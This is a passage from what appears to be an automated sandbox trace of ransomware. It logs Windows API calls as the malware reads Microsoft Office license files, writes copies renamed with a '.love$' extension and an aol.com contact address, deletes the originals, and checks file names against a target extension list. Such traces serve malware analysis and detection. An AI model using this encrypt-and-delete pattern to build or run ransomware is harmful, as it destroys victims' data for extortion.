lpNumberOfBytesWritten=0x35afc94*=0x56d0, lpOverlapped=0x0) returned 1 [0265.543] ReadFile (in: hFile=0x454, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0265.544] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x110, lpOverlapped=0x0) returned 1 [0265.544] SetEndOfFile (hFile=0x47c) returned 1 [0265.544] CloseHandle (hObject=0x47c) returned 1 [0265.544] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.545] SetEndOfFile (hFile=0x454) returned 1 [0265.566] CloseHandle (hObject=0x454) returned 1 [0265.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0265.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.878] lstrlenW (lpString=".doc") returned 4 [0265.878] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".docx") returned 5 [0265.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.878] lstrlenW (lpString=".pdf") returned 4 [0265.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".xls") returned 4 [0265.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".xlsx") returned 5 [0265.878] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.878] lstrlenW (lpString=".ppt") returned 4 [0265.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.878] lstrlenW (lpString=".zip") returned 4 [0265.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".rar") returned 4 [0265.878] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".bz2") returned 4 [0265.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.878] lstrlenW (lpString=".7z") returned 3 [0265.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.878] lstrlenW (lpString=".dbf") returned 4 [0265.879] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.879] lstrlenW (lpString=".1cd") returned 4 [0265.879] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.879] lstrlenW (lpString=".jpg") returned 4 [0265.879] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.880] lstrlenW (lpString=".doc") returned 4 [0265.880] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".docx") returned 5 [0265.880] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.880] lstrlenW (lpString=".pdf") returned 4 [0265.880] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".xls") returned 4 [0265.880] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".xlsx") returned 5 [0265.880] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.880] lstrlenW (lpString=".ppt") returned 4 [0265.880] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.880] lstrlenW (lpString=".zip") returned 4 [0265.880] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".rar") returned 4 [0265.880] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".bz2") returned 4 [0265.880] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.880] lstrlenW (lpString=".7z") returned 3 [0265.880] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.880] lstrlenW (lpString=".dbf") returned 4 [0265.881] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.881] lstrlenW (lpString=".1cd") returned 4 [0265.881] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0265.881] lstrlenW (lpString=".jpg") returned 4 [0265.881] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.881] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.881] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29 [0265.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.887] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=21546) returned 1 [0265.887] CloseHandle (hObject=0x4ac) returned 1 [0265.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0265.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.892] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.892] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0265.897] GetLastError () returned 0x0 [0265.897] ReadFile (in: hFile=0x4ac, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x542a, lpOverlapped=0x0) returned 1 [0265.932] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5430, lpOverlapped=0x0) returned 1 [0265.933] ReadFile (in: hFile=0x4ac, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0265.934] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0265.934] SetEndOfFile (hFile=0x47c) returned 1 [0265.934] CloseHandle (hObject=0x47c) returned 1 [0265.934] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.934] SetEndOfFile (hFile=0x4ac) returned 1 [0265.939] CloseHandle (hObject=0x4ac) returned 1 [0265.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.942] lstrlenW (lpString=".doc") returned 4 [0265.942] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".docx") returned 5 [0265.942] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.942] lstrlenW (lpString=".pdf") returned 4 [0265.942] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".xls") returned 4 [0265.942] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".xlsx") returned 5 [0265.942] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.942] lstrlenW (lpString=".ppt") returned 4 [0265.942] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.942] lstrlenW (lpString=".zip") returned 4 [0265.942] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".rar") returned 4 [0265.942] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".bz2") returned 4 [0265.942] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString=".7z") returned 3 [0265.942] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.942] lstrlenW (lpString=".dbf") returned 4 [0265.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.943] lstrlenW (lpString=".1cd") returned 4 [0265.943] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.943] lstrlenW (lpString=".jpg") returned 4 [0265.943] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.943] lstrlenW (lpString=".doc") returned 4 [0265.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.943] lstrlenW (lpString=".docx") returned 5 [0265.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.943] lstrlenW (lpString=".pdf") returned 4 [0265.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.943] lstrlenW (lpString=".xls") returned 4 [0265.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString=".xlsx") returned 5 [0265.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.944] lstrlenW (lpString=".ppt") returned 4 [0265.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.944] lstrlenW (lpString=".zip") returned 4 [0265.944] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString=".rar") returned 4 [0265.944] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString=".bz2") returned 4 [0265.944] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString=".7z") returned 3 [0265.944] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.944] lstrlenW (lpString=".dbf") returned 4 [0265.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.945] lstrlenW (lpString=".1cd") returned 4 [0265.945] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0265.945] lstrlenW (lpString=".jpg") returned 4 [0265.945] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.945] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.945] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31 [0265.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.947] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10659) returned 1 [0265.947] CloseHandle (hObject=0x4ac) returned 1 [0265.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0265.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.948] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.948] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0265.949] GetLastError () returned 0x0 [0265.949] ReadFile (in: hFile=0x4ac, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x29a3, lpOverlapped=0x0) returned 1 [0266.140] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x29b0, lpOverlapped=0x0) returned 1 [0266.142] ReadFile (in: hFile=0x4ac, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0266.142] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x112, lpOverlapped=0x0) returned 1 [0266.142] SetEndOfFile (hFile=0x47c) returned 1 [0266.143] CloseHandle (hObject=0x47c) returned 1 [0266.143] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.143] SetEndOfFile (hFile=0x4ac) returned 1 [0266.147] CloseHandle (hObject=0x4ac) returned 1 [0266.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0266.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.416] lstrlenW (lpString=".doc") returned 4 [0266.416] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.416] lstrlenW (lpString=".docx") returned 5 [0266.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.416] lstrlenW (lpString=".pdf") returned 4 [0266.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.416] lstrlenW (lpString=".xls") returned 4 [0266.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.416] lstrlenW (lpString=".xlsx") returned 5 [0266.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.416] lstrlenW (lpString=".ppt") returned 4 [0266.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString=".zip") returned 4 [0266.417] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString=".rar") returned 4 [0266.417] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString=".bz2") returned 4 [0266.417] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString=".7z") returned 3 [0266.417] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString=".dbf") returned 4 [0266.417] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString=".1cd") returned 4 [0266.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString=".jpg") returned 4 [0266.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.417] lstrlenW (lpString=".doc") returned 4 [0266.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.417] lstrlenW (lpString=".docx") returned 5 [0266.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.418] lstrlenW (lpString=".pdf") returned 4 [0266.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString=".xls") returned 4 [0266.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString=".xlsx") returned 5 [0266.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.418] lstrlenW (lpString=".ppt") returned 4 [0266.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.418] lstrlenW (lpString=".zip") returned 4 [0266.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString=".rar") returned 4 [0266.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString=".bz2") returned 4 [0266.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString=".7z") returned 3 [0266.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.418] lstrlenW (lpString=".dbf") returned 4 [0266.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.419] lstrlenW (lpString=".1cd") returned 4 [0266.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0266.419] lstrlenW (lpString=".jpg") returned 4 [0266.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.419] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.419] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28 [0266.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.421] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11163) returned 1 [0266.421] CloseHandle (hObject=0x47c) returned 1 [0266.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0266.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.422] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.422] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0266.424] GetLastError () returned 0x0 [0266.424] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, 